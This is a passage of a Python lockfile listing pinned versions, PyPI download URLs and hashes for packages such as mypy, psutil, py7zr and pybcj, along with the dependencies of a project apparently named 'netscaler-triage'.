sdist = { url = "https://files.pythonhosted.org/packages/82/6a/878cc1097d4035f82bd516658d0c528d2a9955bc7b363afcbd0b07fea11b/mypy-2.3.1.tar.gz", hash = "sha256:47c1b1207258513a9d93495f69c8be9de73916186f0e52703e8c461b7a623419", size = 3992554, upload-time = "2026-08-15T03:03:38.549Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/be/c4/42a49d44aeff804edf1b19acce0b49e8bd1a9c57dee9605dd8d980aa43d7/mypy-2.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:192abaedf75da1bc0b1cef104927e70ec49c1ef0031cc4825c7ee10a438ed24d", size = 13986778, upload-time = "2026-08-15T03:01:33.69Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/45/13/9331fd2dfed7194d66c5304072894a8be3e51e9deda6863c1eceaa35a43d/mypy-2.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf678dffd16efcda2c15cbd30e9ecc0081388e29ea23687a88e686ed92638dc3", size = 14188467, upload-time = "2026-08-15T03:02:40.554Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/78/f7/f4a34edab45667c5465855dc585a20e87978ffa8aee711445b7239d120c6/mypy-2.3.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e036f06b41630f4c8a1d48f9ac6aa26acc65f8be089973f5519da643318f03f", size = 15225538, upload-time = "2026-08-15T03:03:09.761Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/40/05/534b3590757bd05794f73e07f6666c2a77b8597ffed795c94ce570096aa0/mypy-2.3.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:71af9c8a894e862b58e92abb08e53b05a384a1e5e5d6dc7cda59126211a53d82", size = 15480805, upload-time = "2026-08-15T03:01:41.134Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/55/da/bdfba852e2562f599624af5bb7d29e36b0b4f526f2b8bac85efe0dd1803d/mypy-2.3.1-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:3c80cd23d85368bdd9f37d5231dfd97d35bcbf5bf41af96ef3a9b078ad1957f9", size = 7761712, upload-time = "2026-08-15T03:02:36.008Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/98/31/60fc64a74cdba4f2a5d642d32317993e479163e1ac7d91b695e5d15e2264/mypy-2.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:4956f34d145e145562a0a0bf367f642bbc85c04ec2baf47ae015947c3169a85d", size = 11423968, upload-time = "2026-08-15T03:02:06.931Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a9/23/eb5950b24cd26ba3b78f87707a275568d633c77dae8e61c9661be6055ca6/mypy-2.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:cfb12e360242d23d91f5e978d94f58ea66acf5804c4fb6f2f794a20d4cb1b595", size = 10399323, upload-time = "2026-08-15T03:02:33.671Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/82/c7/f80f4e46c0b9a00eb5f78a79d49dda8bdf56a5230f7257fb33e76be04da7/mypy-2.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5f1c50bb05b64e2026b52867e8d21106f01313c744a2c4ecc34c90d12e8d6e2", size = 15121308, upload-time = "2026-08-15T03:01:46.053Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5d/74/9b04f17c7074cc5188f02fb63a2ca1d43fedf479e84fe3091c39061a1d7f/mypy-2.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:667196b352f4cf304ded4c10f90cfc179263a1acfb3cdcfa984bdfd340d498bc", size = 15536590, upload-time = "2026-08-15T03:01:35.941Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/04/c837ef6208e567774e2ed1f863f8ba6ec4817b1b6dd426315e5d559b6ec9/mypy-2.3.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b9c53e395c12cad2c6d4b67d5da7c6057638a132d85c08b73646b18f802a0045", size = 16791074, upload-time = "2026-08-15T03:01:31.073Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/37/68/48730230afa45192d5bd429a6a2ff24a6f8dedda90fdf2b221792b54518f/mypy-2.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:18162b128c3f9c703cd35f5537446900b0d21a2549aa7a95d21380d2ef643fb0", size = 17069183, upload-time = "2026-08-15T03:02:28.566Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/1c/ea/ca23fc9c20eeda09a15c9cbcf50015d0e73f409f6ead059e42aa69a608ff/mypy-2.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:30c0477d4aab7b7f39c8397dc877f2c96b9fe5588ec379f372c56eb63d599f63", size = 12154679, upload-time = "2026-08-15T03:02:04.809Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3b/67/8d982126034990869466f73b8db80dcb2234a7ac39b4dad093e047a79835/mypy-2.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:6941ab3619377bc3f32ca02876b07d27f216f5201604b664d3937ea0fdd23bb4", size = 10969159, upload-time = "2026-08-15T03:02:38.152Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ee/f7/41e7f2d8117fbc7a7587286162ffe2f688984b69c46ed63cf5f2e4fc3bae/mypy-2.3.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:6f041a6de52c9217ca125e78ba0a335cb7fd98a1c0580978e49ab2b126f70b57", size = 13990694, upload-time = "2026-08-15T03:03:21.919Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/06/85/8f665811a0c8f3bf6fa1d9acd665ec2d97a2bcc453ae68dcd92340941cd6/mypy-2.3.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5159ae60f5dbc3a498af5ba8365505808ac8031bc63f9e00304ad545d40bdd9b", size = 14203518, upload-time = "2026-08-15T03:01:48.455Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2d/82/91b866c8546b120bff83b73a439d90d2d63ef3aff113599e6b8e4d566848/mypy-2.3.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47a8a7a0a7f6f6e63995c0ac36fa0c07b127413fdc81f0439b7f3dccafd33561", size = 15220224, upload-time = "2026-08-15T03:01:23.577Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c8/78/c226c99208ee40de7c768369fa533f933afa003dfdc606ff021450724e91/mypy-2.3.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:2329c0501293d4e1f33bc15d04d6304d65a1cdda967ee93a05c1e681a3923133", size = 15501512, upload-time = "2026-08-15T03:02:09.453Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a9/e7/7cfb3f106c393979f4cc37ad6c0586044d50401e3c35b0c003e4f3ba6bc9/mypy-2.3.1-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:bb26deed807bdb0457cf3e3f1cd7c4a1cf9d66864eaf1b4a61e06805d4c6b1f9", size = 7761913, upload-time = "2026-08-15T03:01:55.65Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/99/3c/52affefa273b97939a1f474ae4a349c8718635c15b941112dfab4291b0c1/mypy-2.3.1-cp315-cp315-win_amd64.whl", hash = "sha256:375d7013876a8233b2d05be185bfa09f689696cd999ce8b1cfe6acac5c80e8a3", size = 11422533, upload-time = "2026-08-15T03:03:24.101Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2a/b7/75643e70c72a5b346d8a9b1543c967ea8824df2ee3fb7ccba652c272b7bb/mypy-2.3.1-cp315-cp315-win_arm64.whl", hash = "sha256:586b3612214cceabb3c0f588c97e7d1e535393f06a60e912e994f6b3ace97523", size = 10397931, upload-time = "2026-08-15T03:02:55.265Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/10/ce/53be21f2d4adfcd26f63f1184a13ed797015ab463853f117e2e11e4d726f/mypy-2.3.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:ef0c6335cda9d807f8193d8ff6204a72bc909fa9882aacbca14f43cdb7188306", size = 15118669, upload-time = "2026-08-15T03:02:51.479Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/62/43/20de757cd42989d291a17fad607742c4c74e875ce5cea00e5a5225020ac1/mypy-2.3.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e598c8c66401d26b150872154a286e6d484cf2789c3bb28a7556806298423021", size = 15545627, upload-time = "2026-08-15T03:03:05.132Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7e/fc/092bdf77ad280eaf501422f0f3b966012b528076cc13e41a774861c907d1/mypy-2.3.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eda22fd4efa9dcd39331d1dede9b5b8b8a7fd69af07592e778433da98610d29e", size = 16764157, upload-time = "2026-08-15T03:02:23.958Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/94/5c/c94c4d62d909b07f552d0d9356d7acc943825558e602a64822ffa2231536/mypy-2.3.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:2a0ba2e57847849fb0d1fcdabb32786d223095ed8bc121dfe322bcdb3d9c46bc", size = 17073258, upload-time = "2026-08-15T03:02:14.573Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c0/f7/511a88b89e478053c02d22039bb8f3ce4183efe8fd7a4f0a5910a8bb0a32/mypy-2.3.1-cp315-cp315t-win_amd64.whl", hash = "sha256:3f7e865dd51f235f60a2dbcd8728a1c095f5ca28f095d48a725b84cd935735c4", size = 12135505, upload-time = "2026-08-15T03:02:16.714Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/71/bf/02573b56964ecb0f7c644f915f53c325ae15c3faec521c5adf11599a32df/mypy-2.3.1-cp315-cp315t-win_arm64.whl", hash = "sha256:8ad80807dc3ab8ea978b1b2b6e4a657194ace1d4ef03e0e731aff1abd517da29", size = 10962647, upload-time = "2026-08-15T03:01:43.712Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8e/41/9675c7a1e78edecfba0b79e587a52594c56e189368261dc7b3a7fffb9527/mypy-2.3.1-py3-none-any.whl", hash = "sha256:6ed5c7e3419083268e5c9258bd1c1ef91af44a9e89374dbcaf37b775716e72eb", size = 2754338, upload-time = "2026-08-15T03:02:53.4Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "mypy-extensions"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "netscaler-triage"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = { editable = "." }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "py7zr" },
|
||||||
|
{ name = "pysigma" },
|
||||||
|
{ name = "pyzipper" },
|
||||||
|
{ name = "regex" },
|
||||||
|
{ name = "rich" },
|
||||||
|
{ name = "rich-argparse" },
|
||||||
|
{ name = "tzdata" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[package.dev-dependencies]
|
||||||
|
dev = [
|
||||||
|
{ name = "mypy" },
|
||||||
|
{ name = "ruff" },
|
||||||
|
{ name = "types-pyyaml" },
|
||||||
|
{ name = "types-regex" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[package.metadata]
|
||||||
|
requires-dist = [
|
||||||
|
{ name = "py7zr", specifier = ">=1.0" },
|
||||||
|
{ name = "pysigma", specifier = ">=1.5.1" },
|
||||||
|
{ name = "pyzipper", specifier = ">=0.3.6" },
|
||||||
|
{ name = "regex", specifier = ">=2025.11" },
|
||||||
|
{ name = "rich", specifier = ">=14.1" },
|
||||||
|
{ name = "rich-argparse", specifier = ">=1.7" },
|
||||||
|
{ name = "tzdata", specifier = ">=2025.2" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[package.metadata.requires-dev]
|
||||||
|
dev = [
|
||||||
|
{ name = "mypy", specifier = ">=2.3.1" },
|
||||||
|
{ name = "ruff", specifier = ">=0.14" },
|
||||||
|
{ name = "types-pyyaml", specifier = ">=6.0.12.20260906" },
|
||||||
|
{ name = "types-regex", specifier = ">=2026.9.10.20260911" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "packaging"
|
||||||
|
version = "26.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pathspec"
|
||||||
|
version = "1.1.1"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/5a/82/42f767fc1c1143d6fd36efb827202a2d997a375e160a71eb2888a925aac1/pathspec-1.1.1.tar.gz", hash = "sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a", size = 135180, upload-time = "2026-04-27T01:46:08.907Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", hash = "sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", size = 57328, upload-time = "2026-04-27T01:46:07.06Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "psutil"
|
||||||
|
version = "7.2.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "py7zr"
|
||||||
|
version = "1.1.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "brotli", marker = "platform_python_implementation == 'CPython'" },
|
||||||
|
{ name = "brotlicffi", marker = "platform_python_implementation == 'PyPy'" },
|
||||||
|
{ name = "inflate64" },
|
||||||
|
{ name = "multivolumefile" },
|
||||||
|
{ name = "psutil", marker = "sys_platform != 'cygwin'" },
|
||||||
|
{ name = "pybcj" },
|
||||||
|
{ name = "pycryptodomex" },
|
||||||
|
{ name = "pyppmd" },
|
||||||
|
{ name = "texttable" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/59/3f/ac248f25f3901d3d6cf80ac99d5bac6fd1e5e6543c1812c79b02b6074c60/py7zr-1.1.3.tar.gz", hash = "sha256:8d51894abb38355bf14881088bb97f01fe4cb5b14ebe22f66d6297668c7e1a74", size = 71695, upload-time = "2026-06-19T09:28:29.339Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/88/40/dc7f804abd0ea167ea8d4d9b3f5455321aaf671d040fcef647e9e952e714/py7zr-1.1.3-py3-none-any.whl", hash = "sha256:17934a35089e026dec6c72ee275d9b841e646881ef822d618e805c3006661d9a", size = 72242, upload-time = "2026-06-19T09:28:27.512Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pybcj"
|
||||||
|
version = "1.0.8"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/14/c9/e2de4f98c21f2ff9e58047395b6a8e17701a0f2977f0e63f80948f61647f/pybcj-1.0.8.tar.gz", hash = "sha256:6818270692912d47e81ccd777b7d0ed2ad3a19ef7aaead3735b38048c80bf368", size = 31763, upload-time = "2026-07-16T22:47:24.705Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ff/9a/6ae6062f0a7707a6c818f69653af34be90dffec0450c6a39790a1a7d918e/pybcj-1.0.8-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:b8d80571db5f89944aced42378b208afe38339008027ec56303e11628615a906", size = 33353, upload-time = "2026-07-16T22:47:02.452Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/52/7d/182735114b34301326ad197daae729e1b2a67c2be8e4ee661acabb1c4e04/pybcj-1.0.8-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:07eac7a1a8804230060fe56a5d828c620ee2d70acd31aef80705a01627da5946", size = 24737, upload-time = "2026-07-16T22:47:03.754Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4d/0a/0d97486364bdf079631fc9b72b9cad42579fe2f0ce575fc67208037ce041/pybcj-1.0.8-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:af962c96a799ee7b13b9747a73240ba7f73e8643c276492f10e1dc60b564b295", size = 24980, upload-time = "2026-07-16T22:47:04.915Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b7/28/f50bbf5c154f6eebca31789228b547e135fe541d46c85a026cadb842e8f2/pybcj-1.0.8-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:067982ad967ce68ae28c13cc27f96d8b65b5f497819dd4ad5c4f05ffc2fb2ae3", size = 53385, upload-time = "2026-07-16T22:47:06.039Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8e/4f/9f226e64cf82b59d9f803e59f32496edfcd52a40305378eb1dd1f78bb18d/pybcj-1.0.8-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f23a36e978f4620db473b08239ab56dc57a479c83fd5d3808bc95e5bdbc1a703", size = 52372, upload-time = "2026-07-16T22:47:07.213Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fe/d7/b52cbdaee0e41fd44edcf032dbcfe5bce7a4b0a8f9fe3fb38ec402fe99a7/pybcj-1.0.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ba3b8f1efd1ebbe3ee99a599c6ea745877a41675a0ade763903b644ccd58da97", size = 51326, upload-time = "2026-07-16T22:47:08.53Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/52/16/cafe2644f876639ae85c0a6fbe262c11f8065dd4b806eb4f6ace190076a3/pybcj-1.0.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:09c3fe78d325a499fdd0a003b04b0009a3921666dc590d1b7a496dc365eef3a9", size = 50874, upload-time = "2026-07-16T22:47:09.752Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/87/c4/767af5f90007cf5b138b2b4b40cf34998ca143fb22210c9d718d04eb2b22/pybcj-1.0.8-cp314-cp314-win_amd64.whl", hash = "sha256:0074af187b1acce9e31717fc9aa42bc36b67f1a44088a8b44f4f4792af688ee6", size = 25225, upload-time = "2026-07-16T22:47:11.144Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/22/30/bdbe671d8156ef0f3d8a5ac4d0bccc98bf1d573e1bb10ff6225383211351/pybcj-1.0.8-cp314-cp314-win_arm64.whl", hash = "sha256:458a5bff57f36fba7af822df64da335fa1781d592dd7f802f347ae1f75939aa0", size = 24460, upload-time = "2026-07-16T22:47:12.479Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c3/13/45ec85efc37d71b3def7ad755d9ab964c1a00e9ebc02fd1cd6b199f2535f/pybcj-1.0.8-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:083b41b59672d4aa893b44769bed7a41abfde43211b27d47a0d4d66a59fdafad", size = 33916, upload-time = "2026-07-16T22:47:13.599Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ab/c8/0988ce2bd104c24285a967e2dbddf9c07e0055354fae6a9ccace4202ef66/pybcj-1.0.8-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:0d432a32bfc23475b7fd62a5eb1c3243a8329ff95aa0e3c941d57902dc6e7c87", size = 25026, upload-time = "2026-07-16T22:47:14.777Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/86/37/ba7823ed5831d656eb7e841e026492d8540b59235210b68ba885c8bd0219/pybcj-1.0.8-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:cb1601253a15abfaba42e0bdbde4d459d2afcafdc97dee0d9b698e589167fd8d", size = 25268, upload-time = "2026-07-16T22:47:15.909Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/74/1e/572c7e32da9bca384aa28401c09c153eb5bf1b0c64e249e9f13fbbdfadae/pybcj-1.0.8-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78498748ebea7e1483f9cfdeac4a08687f6e2773e3a4223c420ab1beae95d75d", size = 59685, upload-time = "2026-07-16T22:47:17.227Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/67/09/737dcd04aa137c91e33b89b8d68b763419c39feff14c9cf5eeb945954a6b/pybcj-1.0.8-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3817997e73d60ccbc731a47e007fe02213eee816cfe6070eb8347c6286aa3cc2", size = 57872, upload-time = "2026-07-16T22:47:18.476Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/53/31/519a41bf9ea3c58368bd72e6bd3a2eaf735aef206e715e87e2d0c4f5bb6f/pybcj-1.0.8-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f2a9146d8f3df70305dba6cb9c3d25f285a9a69309e4941333962f5408a244be", size = 56908, upload-time = "2026-07-16T22:47:19.85Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/38/6a/fdc7b48e1b27f5cd44f554ca730e1928074d51db5bc640ec92323c46a689/pybcj-1.0.8-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5824e498e2dfafc19a2de2bdf54e5c2857144d84983ac8e13e54b1f7b78e3f50", size = 56063, upload-time = "2026-07-16T22:47:21.1Z" },
|
||||||
|
